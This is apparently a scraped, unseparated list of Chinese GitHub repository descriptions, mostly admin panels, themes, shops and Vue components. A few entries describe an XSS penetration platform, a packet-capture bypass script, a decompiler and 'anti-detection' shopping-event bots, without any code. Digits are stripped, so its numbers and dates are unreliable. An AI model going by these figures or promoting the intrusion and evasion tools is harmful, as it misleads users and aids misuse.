layui 实现的带rbac的基础管理后台 方便快速开发法使用百度pcs上传脚本目前最全的前端开发面试题及答案樱花内网穿透网站源代码 2 2 重制版MeepoPS是Meepo PHP Socket的缩写 旨在提供稳定的Socket服务 可以轻松构建在线实时聊天 即时游戏 视频流媒体播放等 基础目录 聚合所有其他目录 包含文档和例子基于 Vue js 的简洁一般强大的 WordPress 单栏博客主题阿里云打造Laravel最好的OSS Storage扩展 网上在线商城 综合网上购物平台swoolefy是一个基于swoole实现的轻量级 高性能 协程级 开放性的API应用服务框架基于redis实现高可用 易拓展 接入方便 生产环境稳定运行的延迟队列 一款基于WordPress开发的高颜值的自适应主题 支持白天与黑夜模式 无刷新加载等 阿里云 OSS 官方 SDK 的 Composer 封装 支持任何 PHP 项目 包括 Laravel Symfony TinyLara 等等 此插件将你的WordPress接入本土生态体系之中 使之更适合国内应用环境PHP的服务化框架 适用于Api Server Rpc Server 帮助原生PHP项目转向微服务化 出色的性能与支持高并发的协程相结合基于ThinkPHP V6 开发的面向API的后台管理系统 PHP Swoole 开发的在线同步点歌台 支持自由点歌 切歌 调整排序 删除指定音乐以及基础权限分级信呼 免费开源的办公OA系统 包括APP pc上客户端 REIM即时通信 服务端等 让每个企业单位都有自己的办公系统 来客电商 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 注重界面美感与用户体验 打造独特电商系统生态圈哔哩哔哩 Bilibili B 站主站助手 直播助手 直播抽奖 挂机升级 贴心小棉袄脚本 Lv6 离你仅有一步之遥 PHP 版 Personal 一个运用php与swoole实现的统计监控系统短视频去水印 抖音 皮皮虾 火山 微视 微博 绿洲 最右 轻视频 快手 全民小视频 巴塞电影 陌陌 Before避风 开眼 Vue Vlog 小咖秀 皮皮搞笑 全民K歌 西瓜视频 中国农历 阴历 与阳历 公历 转换与查询工具AoiAWD 专为比赛设计 便携性好 低权限运行的EDR系统 项目管理系统后端接口ThinkPHP 队列支持Typecho Theme Aria 书写自己的篇章PHP 中文工具包 支持汉字转拼音 拼音分词 简繁互转 数字 金额大写 QQ群 17916227Yii2 community 请访问淘客5合一SDK 支持淘宝联盟 京东联盟 多多进宝 唯品会 苏宁基于 thinkphp 开发的的 blogMojito Admin 基于 Laravel Vue Element 构建的后台管理系统一个经典的XSS渗透管理平台一款基于 RageFrame2 的免费开源的基础销售功能的商城基于Laravel 5 4 的开发的博客系统 代号 myPersimmon证件照片排版在线生成器 在一张6寸的照片上排版多张证件照清华大学计算机学科推荐学术会议和期刊列表WordPress响应式免费主题 Art Blog唯品秀博客 weipxiu com 备用域名weipxiu cn 开源给小伙伴免费使用 如使用过程有任何问题 在线技术支持QQ 欢迎打扰 原创不易 如喜欢 请多多打赏 演示 EwoMail是基于Linux的企业邮箱服务器 集成了众多优秀稳定的组件 是一个快速部署 简单高效 多语言 安全稳定的邮件解决方案 笔记本新版简单强大的无数据库的图床2 版 演示地址 Bilibili B 站自动领瓜子 直播助手 直播挂机脚本 主站助手 PHP 版微信群二维码活码工具 生成微信群活码 随时可以切换二维码 短视频的PHP拓展包 集成各大短视频的去水印功能 抖音 快手 微视主流短视频 PHP去水印一个PHPer的升级之路酷瓜云课堂 在线教育 网课系统 网校系统 知识付费系统 不加密不阉割 1 %全功能开源 可免费商用 框架主要使用ThinkPHP6 layui 拥有完善的权限的管理模块以及敏捷的开发方式 让你开发起来更加的舒服 laravel5 5搭建的后台管理 和 api服务 的小程序商城基于ThinkPHP5 AdminLTE的后台管理系统魔改版本 为 OLAINDEX 添加多网盘挂载及一些小修复海豚PHP 基于ThinkPHP5 1 41LTS的快速开发框架挂载Teambition文件 可直链分享 支持网盘 需申请 和项目文件 无需邀请码 准确率99 9%的ip地址定位库laravel ant design vue 权限后台PHP 第三方登录授权 SDK 集成了QQ 微信 微博 Github等常用接口 支持 php fpm 和 Swoole 所有框架通用 QQ群 17916227抖音去水印PHP版接口一个分布式统计监控系统 包含PHP客户端 服务端整合多接口的IP查询工具 基于阿里云OSS的WordPress远程附件支持插件 后会有期 开箱即用的Laravel后台扩展 前后端分离 后端控制前端组件 无需编写vue即可创建一个的项目 丰富的表单 表格组件 强大的自定义组件功能 yii2 swoole 让yii2运行在swoole上胖鼠采集 WordPress优秀开源采集插件CatchAdmin是一款基于thinkphp6 和 element admin 开发的后台管理系统 基于 ServiceProvider 系统模块完全接耦 随时卸载安装模块 提供了完整的权限和数据权限等功能 大量内置的开发工具提升你的开发体验 官网地址 微信公众平台php版开发包微信小程序 校园小情书后台源码 好玩的表白墙 告白墙 功能全面的PHP命令行应用库 提供控制台参数解析 命令运行 颜色风格输出 用户信息交互 特殊格式信息显示基于 chinese poetry 数据整理的一份 mysql 格式数据帮助 thinkphp 5 开发者快速 轻松的构建Api hyperf admin 是基于 hyperf vue 的配置化后台开发工具 微信支付php 写的视频下载工具 现已支持 Youku Miaopai 腾讯 XVideos Pornhub 91porn 微博酷燃 bilibili 今日头条 芒果TVCorePress 主题 一款高性能 高颜值的WordPress主题快链电商 直播电商 分销商城 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 Laravel vue开发 成熟商用项目 shop mall 商城 电商 利用 PHP cURL 转发 Disqus API 请求可能是最优雅 简易的淘宝客SDKUniAdmin是一套渐进式模块化开源后台 采用前后端分离技术 数据交互采用json格式 功能低耦合高内聚 核心模块支持系统设置 权限管理 用户管理 菜单管理 API管理等功能 后期上线模块商城将打造类似composer npm的开放式插件市场 同时我们将打造一套兼容性的API标准 从ThinkPHP5 1 Vue2开始 逐步吸引爱好者共同加入 以覆盖等多语言框架 PHP 多接口获取快递物流信息包LightCMS 是一个基于 Laravel 开发的轻量级 CMS 系统 也可以作为一个通用的后台管理框架使用单点登录系统快乐二级域名分发系统Typecho Theme Story 爱上你我的故事 一个轻量化的留言板 记事本 社交系统 博客 人类的本质是 咕咕咕?微信域名拦截检测 QQ域名拦截检测 t xzkxb com 查询有缓存 如需实时查询请自行部署 高性能分布式并发锁 行为限流Emlog是一款基于PHP和MySQL的功能强大的博客及CMS建站系统 追求快速 稳定 简单 舒适的建站体验Hyperf admin 基于Hyperf Element UI 通用管理后台企业仓库管理系统HisiPHP V2版是基于ThinkPHP5 1和Layui开发的后台框架 承诺永久免费开源 您可用于学习和商用 但须保留版权信息正常显示 如果HisiPHP对您有帮助 您可以点击右上角 Star 支持一下哦 谢谢 使用PHP开发的简约导航 书签管理系统 软擎是基于 Php 7 2 和 Swoole 4 4 的高性能 简单易用的开发框架 支持同时在 Swoole Server 和 php fpm 两种模式下运行 内置了服务 集成了大量成熟的组件 可以用于构建高性能的Web系统 API 中间件 基础服务等等 个人发卡源码 发卡系统 二次元发卡系统 二次元发卡源码 发卡程序 动漫发卡 PHP发卡源码聊天应用 php实现的dht爬虫搭建的webim客服系统 即时通讯一些实用的python脚本同城拼车微信小程序后端代码 一个响应式干净和简洁优雅的 Typecho 主题php仓库进销存深度学习5 问 以问答形式对常用的概率知识 线性代数 机器学习 深度学习 计算机视觉等热点问题进行阐述 以帮助自己及有需要的读者 全书分为18个章节 5 余万字 由于水平有限 书中不妥之处恳请广大读者批评指正 未完待续 如有意合作 联系scutjy2 15 163 com 版权所有 违权必究 Tan 2 18 6题解 记录自己的leetcode解题之路 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 YApi 是一个可本地部署的 打通前后端及QA的 可视化的接口管理平台小程序组件化开发框架网易云音乐 Node js API service基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 book Node js 包教不包会 by alsotang收集所有区块链 BlockChain 技术开发相关资料 包括Fabric和Ethereum开发资料轻量 可靠的小程序 UI 组件库微信小程序商城 微信小程序微店一个可以观看国内主流视频平台所有视频的客户端可伸缩布局方案基于 node js Mongodb 构建的后台系统 js 源码解析磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 Web接口管理工具 开源免费 接口自动化 MOCK数据自动生成 自动化测试 企业级管理 阿里妈妈MUX团队出品 阿里巴巴都在用 1 公司的选择 RAP2已发布请移步至github com thx rap2 delosKuboard 是基于 Kubernetes 的微服务管理界面 同时提供 Kubernetes 免费中文教程 入门教程 最新版本的 Kubernetes v1 2 安装手册 k8s install 在线答疑 持续更新 ApacheCN 数据结构与算法译文集 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 高颜值的第三方网易云播放器 支持 Windows macOS Linux vue2 vue router vuex 入门项目网易云音乐第三方 Flutter实战 电子书 一套代码运行多端 一端所见即多端所见 计算机速成课 Crash Course 字幕组 全4 集 2 18 5 1 精校完成 一个 react redux 的完整项目 和 个人总结中文独立博客列表CSS Inspiration 在这里找到写 CSS 的灵感 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn Chrome插件开发全攻略 配套完整Demo 欢迎clone体验微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 master分支 渲染器 微信小程序组件 API 云开发示例简悦 SimpRead 让你瞬间进入沉浸式阅读的扩展让H5制作像搭积木一样简单 轻松搭建H5页面 H5网站 PC端网站 LowCode平台 一套组件化 可复用 易扩展的微信小程序 UI 组件库这是一个数据可视化项目 能够将历史数据排名转化为动态柱状图图表微信小程序图表charts组件 Charts for WeChat small app类似易企秀的H5制作 建站工具 可视化搭建系统 一个在你编程时疯狂称赞你的 VSCode 扩展插件全家桶后台管理框架解锁网易云音乐客户端变灰歌曲美观易用的React富文本编辑器 基于draft js开发一个致力于微信小程序和 Web 端同构的解决方案從零開始學 ReactJS ReactJS 1 1 是一本希望讓初學者一看就懂的 React 中文入門教學書 由淺入深學習 ReactJS 生態系源码解读 系列文章 完 我就是来分享脚本玩玩的开发者边车 github打不开 github加速 git clone加速 git release下载加速 stackoverflow加速vue源码逐行注释分析 4 多m的vue源码程序流程图思维导图 diff部分待后续更新 微信小程序解决方案 1KB javascript 覆盖状态管理 跨页通讯 插件开发和云数据库开发给老司机用的一个番号推荐系统 FeHelper Web前端助手记录成长的过程哔哩哔哩 bilibili com 辅助工具 可以替换播放器 推送通知并进行一些快捷操作提供了百度坐标 BD 9 国测局坐标 火星坐标 GCJ 2 和WGS84坐标系之间的转换F2etest是一个面向前端 测试 产品等岗位的多浏览器兼容性测试整体解决方案 ️ 阿里飞猪 很易用的中后台 表单 表格 图表 解决方案CRMEB Min 前后端分离版自带客服系统 是CRMEB品牌全新推出的一款轻量级 高性能 前后端分离的开源电商系统 完善的后台权限管理 会员管理 订单管理 产品管理 客服管理 CMS管理 多端管理 页面DIY 数据统计 系统配置 组合数据管理 日志管理 数据库管理 一键开通短信 产品采集 物流查询等接口 React技术揭秘 一本自顶向下的React源码分析书微信小程序 基于wepy 商城 微店 微信小程序 欢迎学习交流大屏数据可视化Pytorch 中文文档经典的网页对话框组件 强大的动态表单生成器 简洁 易用 灵活的微信小程序组件库 一款 Material Design 风格的 Hexo 主题签到一个帮助你自动申请京东价格保护的chrome拓展后台admin前端模板 基于 layui 编写的最简洁 易用的后台框架模板 只需提供一个接口就直接初始化整个框架 无需复杂操作 小程序生成图片库 轻松通过 json 方式绘制一张可以发到朋友圈的图片安卓应用层抓包通杀脚本一个轻量的工具集合婚礼大屏互动 微信请柬一站式解决方案mili 是一个开源的社区系统 界面优雅 功能丰富 丝般顺滑的触摸运动方案做最好的接口管理平台Mpx 一款具有优秀开发体验和深度性能优化的增强型跨端小程序框架省市区县乡镇三级或四级城市数据 带拼音标注 坐标 行政区域边界范围 2 21年 7月 3日最新采集 提供csv格式文件 支持在线转成多级联动js代码 通用json格式 提供软件转成shp geojson sql 导入数据库 带浏览器里面运行的js采集源码 综合了中华人民共和国民政部 国家统计局 高德地图 腾讯地图行政区划数据在vscode中用于生成文件头部注释和函数注释的插件 经过多版迭代后 插件 支持所有主流语言 功能强大 灵活方便 文档齐全 食用简单 觉得插件不错的话 点击右上角给个Star ️呀 JAVClub 让你的大姐姐不再走丢️你想要的最全 Android 进阶路线知识图谱 干货资料收集 开发者推荐阅读的书籍 2 2 淘宝 京东 支付宝双十一 双11全民养猫 全民营业自动化脚本 全额奖励 防检测 一款高性能敏感词 非法词 脏字 检测过滤组件 附带繁体简体互换 支持全角半角互换 汉字转拼音 模糊搜索等功能 前端博客 关注基础知识和性能优化 vue cli4配置vue config js持续更新PT 助手 Plus 为 Google Chrome 和 Firefox 浏览器插件 Web Extensions 主要用于辅助下载 PT 站的种子 基于vue2 koa2的 H5制作工具 让不会写代码的人也能轻松快速上手制作H5页面 类似易企秀 百度H5等H5制作 建站工具最全最新中国省 市 地区json及sql数据首个 Taro 多端统一实例 网易严选 小程序 H5 React Native By 趣店 FED地理信息可视化库企业级 Node js 应用性能监控与线上故障定位解决方案 Node js区块链开发 注 新版代码已开源 请star支持哦 基于Auto js的蚂蚁森林能量自动收取脚本 结巴 中文分词的Node js版本 译 面向机器学习的特征工程webfunny是一款轻量级的前端监控系统 webfunny也是一款前端性能监控系统 无埋点监控前端日志 实时分析前端健康状态一个实现汉字与拼音互转的小巧web工具库 演示地址 前端进阶 优质博文 一个 Chrome 插件 将 Google CDN 替换为国内的 Vue ElementUI构建的CMS开发框架超完整的React Native项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 配套文章 适合全面学习 对比参考 开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款Flutter版本 https github com CarGu 群 宇宙最强的前端面试指南 lucifer ren fe interview 微慕小程序开源版 WordPress版微信小程序函数式编程指北中文版Node js面试题 侧重后端应用与对Node核心的理解jQuery源码解析小白入坑vue三部曲 关于 vue 在工作的使用问题总结 请看博客 sunseekers github io 一直保持更新基于 Vue 的 PWA 解决方案 帮助开发者快速搭建 PWA 应用 解决接入 PWA 的各种问题ThinkCMF是一款支持Swoole的开源内容管理框架 基于ThinkPHP开发 同时支持PHP FPM和Swoole双模式 让WEB开发更快 微信小程序图片裁剪工具前端知识月刊Next Terminal是一个轻量级堡垒机系统 易安装 易使用 支持RDP SSH VNC Telnet Kubernetes协议 微信小程序 日历组件 基于 ueditor的更现代化的富文本编辑器 支持HTTPS基于JavaScript React Vue2的流程图组件 采用Spring MyBatis Shiro框架 开发的一套权限系统 极低门槛 拿来即用 设计之初 就非常注重安全性 为企业系统保驾护航 让一切都变得如此简单 QQ群 32478 2 4 145799952 一个前端的博客 春松客服 多渠道智能客服系统 开源客服系统 机器人客服一个工作流平台小程序 小游戏以及 Web 通用 Canvas 渲染引擎 在线工具秘籍 为在线工具写一本优质说明书 让在线工具造福人类 前端内参 有关于JavaScript 编程范式 设计模式 软件开发的艺术等大前端范畴内的知识分享 旨在帮助前端工程师们夯实技术基础以通过一线互联网企业技术面试 ️ vCards 中国黄页 优化 iOS Android 来电 信息界面体验各平台的分流规则 复写规则及自动化脚本 基于vue2 的实时聊天项目 图片剪裁上传组件 等笔记快速分享 GoogleDrive OneDrive 每日时报 以前端技术体系为主要分享课题 根据 文章 工具 新闻 视频几大板块作为主要分类 一款高效 高性能的帧动画生成工具 停止维护 一个在线音乐播放器 仅 UI 无功能 小程序富文本组件 支持渲染和编辑 html 支持在微信 QQ 百度 支付宝 头条和 uni app 平台使用基于 electron vue 开发的音乐播放器 界面模仿QQ音乐 技术栈欢迎starweui 是在weui和zepto基础上开发的增强UI组件 目前分为表单 基础 组件 js插件四大类 共计百余项功能 是最全的weui样式同步和更新大佬脚本库 更新懒人配置腾讯云即时通信 IM 服务 国内下载镜像 基于 Vue 的小程序开发框架React 16 8打造精美音乐WebAppWK系列开发框架 V1至V5 Java开源企业级开发框架 单应用 微服务 分布式 ️中国 省市区 三级联动 地址选择器 微信小程序2d动画库 分布式 Redis缓存 Shiro权限管理 Spring Session单点登录 Quartz分布式集群调度 Restful服务 QQ 微信登录 App token登录 微信 支付宝支付 日期转换 数据类型转换 序列化 汉字转拼音 身份证号码验证 数字转人民币 发送短信 发送邮件 加密解密 图片处理 excel导入导出 FTP SFTP fastDFS上传下载 二维码 XML读写 高精度计算 系统配置工具类等等 EduSoho 网络课堂是由杭州阔知网络科技有限公司研发的开源网校系统 EduSoho 包含了在线教学 招生和管理等完整功能 让教育机构可以零门槛建立网校 成功转型在线教育 EduSoho 也可作为企业内训平台 帮助企业实现人才培养 自用的一些乱七八糟 油猴脚本 为刚刚学习php语言以及web网站开发整理的一套资源 有视频 实战代码 学习路径等 会持续更新 This is a goindex theme 一个goindex的扩展主题 NumPy官方中文文档 完整版 搭建移动端开发 基于适配方案 axios封装 构建手机端模板脚手架 后台管理 脚手架接口 从简单开始 PhalApi简称π框架 一个轻量级PHP开源接口框架 专注于接口服务开发 前端特效存档Chrome浏览器 抢购 秒杀插件 秒杀助手 定时自动点击云存储管理客户端 支持七牛云 腾讯云 青云 阿里云 又拍云 亚马逊S3 京东云 仿文件夹管理 图片预览 拖拽上传 文件夹上传 同步 批量导出URL等功能font carrier是一个功能强大的字体操作库 使用它你可以随心所欲的操作字体 让你可以在svg的维度改造字体的展现形状 CRN是Ctrip React Native简称 由携程无线平台研发团队基于React Native框架优化 定制成稳定性和性能更佳 也更适合业务场景的跨平台开发框架 油猴脚本页面浮窗广告完全过滤净化 国服最强最全最新CSDN脚本微信小程序即时通讯模板 使用WebSocket通信小程序反编译 支持分包 “想学吗”个人知识管理与自媒体营销工具 超多经典 Canvas 实例 动态离子背景 炫彩小球 贪吃蛇 坦克大战 是男人就下1 层 心形文字等 Vue UEditor v model双向绑定 HQChart H5 微信小程序 沪深 港股 数字货币 期货 美股 K线图 kline 走势图 缩放 拖拽 十字光标 画图工具 截图 筹码图 分析家语法 通达信语法 麦语法 第3方数据替换接口基于koa2的标准前后端分离框架 一款企业信息化开发基础平台 拟集成OA 办公自动化 CMS 内容管理系统 等企业系统的通用业务功能 JeePlatform项目是一款以SpringBoot为核心框架 集ORM框架Mybatis Web层框架SpringMVC和多种开源组件框架而成的一款通用基础平台 代码已经捐赠给开源中国社区基于inception的自动化SQL操作平台 支持SQL执行 LDAP认证 发邮件 OSC SQL查询 SQL优化建议 权限管理等功能 支持docker镜像是一款专门面向个人 团队和小型组织的私有网盘系统 轻量 开源 完善 无论是在家庭 学校还是在办公室 您都能立刻开始使用它 了解更多请访问官方网站 Node js API 中文文档dubbo服务管理以及监控系统拯救B站的弹幕体验 对抗假消息系列项目之一 截屏 实锤?相信你就输了 ”突破性“更新 支持修改任何网站 ️一个简洁 优雅且高效的 Hugo 主题Vue js 示例项目 简易留言板 本项目拥有完善的文档说明与注释 让您快速上手 Vue js 开发? Vue Validator? Vuex?最佳实践基于 Node js Koa2 实战开发的一套完整的博客项目网站 用 React 编写的基于Taro Dva构建的适配不同端 微信 百度 支付宝小程序 H5 React Native 等 的时装衣橱信息泄漏监控系统 伪装115浏览器干爆前端 一网打尽前端面试 学习路径 优秀好文等各类内容 帮助大家一年内拿到期望的 offer 前端性能监控系统 消息队列 高可用 集群等相关架构SpringBoot v2项目是努力打造springboot框架的极致细腻的脚手架 包括一套漂亮的前台 无其他杂七杂八的功能 原生纯净 中文文本标注工具 最全最新中国 省 市 区县 乡镇街道 json csv sql数据 一款轻巧的渐进式微信小程序框架 全网 1 w 阅读量的进阶前端技术博客仓库 Vue 源码解析 React 深度实践 TypeScript 进阶艺术 工程化 性能优化实践 完整开源 Java快速开发平台 基于Spring SpringMVC Mybatis架构 MStore提供更多好用的插件与模板 文章 商城 微信 论坛 会员 评论 支付 积分 工作流 任务调度等 同时提供上百套免费模板任意选择 价值源自分享 铭飞系统不仅一套简单好用的开源系统 更是一整套优质的开源生态内容体系 铭飞的使命就是降低开发成本提高开发效率 提供全方位的企业级开发解决方案 每月28定期更新版本WeHalo 简约风 的微信小程序版博客 基于 vue2 vuex 构建一个具有 45 个页面的大型单页面应用基于Vue3 Element Plus 的后台管理系统解决方案基于 vue element ui 的后台管理系统鲜亮的高饱和色彩 专注视觉的小程序组件库 ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 UI表单设计及代码生成器基于Vue的可视化表单设计器 让表单开发简单而高效 基于vue的高扩展在线网页制作平台 可自定义组件 可添加脚本 可数据统计 vue后台管理框架 精致的下拉刷新和上拉加载 js框架 支持vue 完美运行于移动端和主流PC浏览器 基于vue2 vuex element ui后台管理系统 Vue js高仿饿了么外卖App课程源码 coding imooc com class 74 html京东风格移动端 Vue2 Vue3 组件库eladmin前端源码 项目基于的前后端分离后台管理系统 权限控制采用 RBAC 菜单动态路由资源采集站在线播放uView UI 是uni app生态最优秀的UI框架 全面的组件和便捷的工具会让您信手拈来 如鱼得水Vue2 全家桶仿 微信App 项目 支持多人在线聊天和机器人聊天前端vue 后端koa 全栈式开发bilibili首页 A magical vue admin 记得star互联网大厂内推及大厂面经整理 并且每天一道面试题推送 每天五分钟 半年大厂中 Vue3 全家桶 Vant 搭建大型单页面商城项目 新蜂商城 Vue3 版本 技术栈为基于Vue开发的XMall商城前台页面 PC端 Vue全家桶 Vant 搭建大型单页面电商项目 ddbuy 7 orange cn前后端分离权限管理系统 精力有限 停止维护 用 Vue js 开发的跨三端应用Prototyping Tool For Vue Devs 适用于Vue的原型工具实战商城 基于Vue2 高仿微信App的单页应用electron跨平台音乐播放器 可搜网易云 QQ音乐 虾米音乐 支持QQ 微博 Github登录 云歌单 支持一键导入音乐平台歌单ThorUI组件库 轻量 简洁的移动端组件库 组件文档地址 thorui cn doc 最近更新时间 2 21 5 28uni app框架演示示例 Electron Vue 仿网易云音乐windows客户端 基于 Vue2 Vue CLI3 的高仿网易云 mac 客户端播放器 PC Online Music PlayerGitHub 泄露监控系统pear 梨子 轻量级的在线项目 任务协作系统 远程办公协作自选基金助手是一款Chrome扩展 用来快速获取关注基金的实时数据 查看自选基金的实时估值情况支持 markdown 渲染的博客前台展示Vue 音乐搜索 播放 Demo 一个基于 vue2 vue3 的 大转盘 九宫格 抽奖插件奖品 文字 图片 颜色 按钮均可配置 支持同步 异步抽奖 概率前 后端可控 自动根据 dpr 调整清晰度适配移动端 基于 Vue 的在线音乐播放器 PC Online music player美团饿了吗外卖红包外卖优惠券 先领红包再下单 外卖红包优惠券 cps分成 别人领红包下单 你拿佣金 讨论如何构建一套可靠的大型分布式系统用 vue 写小程序 基于 mpvue 框架重写 weui 基于Vue框架构建的github数据可视化平台使用GitHub API 搭建一个可动态发布文章的博客可视化拖拽组件库 DEMO基于开源组件 Inception SQLAdvisor SOAR 的SQL审核 SQL优化的Web平台显示当前网站的所有可用Tampermonkey脚本 专注Web与算法无缝滚动component精通以太坊 中文版 网页模拟桌面基于的多模块前后端分离的博客项目网易云音乐 QQ音乐 咪咕音乐 第三方 web端 可播放 vip 下架歌曲 基于权限管理的后台管理系统基于 Node js 的开源个人博客系统 采用 Nuxt Vue TypeScript 技术栈 一款简洁高效的VuePress知识管理 博客 blog 主题基于uni app的ui框架基于Vue Vuex iView的电子商城网站 Vue2 全家桶 Vant 搭建大型单页面商城项目 新蜂商城前后端分离版本 前端Vue项目源码酷狗 ️ 极客猿梦导航 独立开发者的导航站 Vue SpringBoot MyBatis 音乐网站基于 RageFrame2 的一款免费开源的基础商城销售功能的开源微商城 基于vue2 的网易云音乐播放器 api来自于NeteaseCloudMusicApi v2 为最新版本编写的一套后台管理系统全栈开发王者荣耀手机端官网和管理后台基于 Vue3 x TypeScript 的在线演示文稿应用 实现PPT幻灯片的在线编辑 演示 基于vue2 生态的后台管理系统模板开发的后台管理系统 Vchat 从头到脚 撸一个社交聊天系统 vue node mongodb h5编辑器类似maka 易企秀 账号 密码 admin996 公司展示 讨论Vue Spring boot前后端分离项目 wh web wh server的升级版 基于element ui的数据驱动表单组件基于 GitHub API 开发的图床神器 图片外链使用 jsDelivr 进行 CDN 加速 免下载 免安装 打开网站即可直接使用 免费 稳定 高效 ️ Vue初 中级项目 CnodeJS社区重构预览 DEMO 基于vue2全家桶实现的 仿移动端QQ基于Vue Echarts 构建的数据可视化平台 酷炫大屏展示模板和组件库 持续更新各行各业实用模板和炫酷小组件 基于Spring Boot的在线考试系统 预览地址 129 211 88 191 账户分别是admin teacher student 密码是admin123 6pan 6盘小白羊 第二版 vue3 antd typescript on bone and knife 基于Vue 全家桶 2 x 制作的美团外卖APP 本项目是一款基于 Avue 的表单设计器 拖拽式操作让你快速构建一个表单 一刻社区前端源码基于Vue iView Admin开发的XBoot前后端分离开放平台前端 权限可控制至按钮显示 动态路由权限菜单 多语言 简洁美观 前后端分离 ️一个开源的社区程序 临时测试站 https t myrpg cnecharts地图geoJson行政边界数据的实时获取与应用 省市区县多级联动下钻 真正意义的下钻至县级 附最新geoJson文件下载 Vue的Nuxt js服务端渲染框架 NodeJS为后端的全栈项目 Docker一键部署 面向小白的完美博客系统vue瀑布流组件 vue waterfall easy 2 x Ego 移动端购物商城 vue vuex ruoter webpack Vue js Node js Mongodb 前后端分离的个人博客头像加口罩小程序 基于uniapp使用vue快速实现 广告月收入4k 基于vue3 的管理端模板教你如何打造舒适 高效 时尚的前端开发环境基于 Flask 和 Vue js 前后端分离的微型博客项目 支持多用户 Markdown文章 喜欢 收藏文章 粉丝关注 用户评论 点赞 动态通知 站内私信 黑名单 邮件支持 管理后台 权限管理 RQ任务队列 Elasticsearch全文搜索 Linux VPS部署 Docker容器部署等基于 vue 和 heyui 组件库的中后端系统 admin heyui topVue 轻量级后台管理系统基础模板uni app项目插件功能集合We川大小程序 scuplus 使用wepy开发的完善的校园综合小程序 4 页面 前后端开源 包括成绩 课表 失物招领 图书馆 新闻资讯等等常见校园场景功能一个全随机的刷装备小游戏一个vue全家桶入门Demo 是一個可以幫助您 Vue js 的項目測試及偵錯的工具 也同時支持 Vuex及 Vue Router 微信公众号管理系统 包含公众号菜单管理 自动回复 素材管理 模板消息 粉丝管理 ️等功能 前后端都开源免费 基于vue 的管理后台 配合Blog Core与Blog Vue等多个项目使用海风小店 开源商城 微信小程序商城管理后台 后台管理 VUE IT之家第三方小程序版客户端 使用 mpvue 开发 兼容 web vue 可以拖拽排序的树形表格 现代 Web 开发语法基础与工程实践 涵盖 Web 开发基础 前端工程化 应用架构 性能与体验优化 混合开发 React 实践 Vue 实践 WebAssembly 等多方面 数据大屏可视化编辑器一个适用于摄影从业者 爱好者 设计师等创意行业从业者的图像工具箱 武汉大学图书馆助手 桌面端基于form generator 仿钉钉审批流程创建 表单创建 流程节点可视化配置 必填条件及校验 一个完整electron桌面记账程序 技术栈主要使用electron vue vuetify 开机自动启动 自动更新 托盘最小化 闪烁等常用功能 Nsis制作漂亮的安装包 程序猿的婚礼邀请函 一个基于vue和element ui的树形穿梭框及邮件通讯录版本见示例见 基于Gin Vue Element UI的前后端分离权限管理系统的前端模块通用书籍阅读APP BookChat 的 uni app 实现版本 支持多端分发 编译生成Android和iOS 手机APP以及各平台的小程序基于Vue3的Material design风格移动端组件库进阶资深前端开发在线考试系统 springboot vue前后端分离的一个项目 ️ 无后端的仿 YouTube Live Chat 风格的简易 Bilibili 弹幕姬vue后端管理系统界面 基于ui组件iviewBilibili直播弹幕库 for Mac Windows LinuxVue高仿网易云音乐 基本实现网易云所有音乐 MV相关功能 现已更新到第二版 仅用于学习 下面有详细教程 武汉大学图书馆助手 移动端Zeus基于Golang Gin casbin 致力于做企业统一权限 账号中心管理系统 包含账号管理 数据权限 功能权限 应用管理 多数据库适配 可docker 一键运行 社区活跃 版本迭代快 加群免费技术支持 Vue高仿网易云音乐 Vue入门实践 在线预览 暂时停止基于 Vue 和 ElementUI 构建的一个企业级后台管理系统 ️ 跨平台移动端视频资源播放器 简洁免费 ZY Player 移动端 APP 基于 Uni app 开发 Vue实战项目基于参考小米商城 实现的电商项目 h5制作 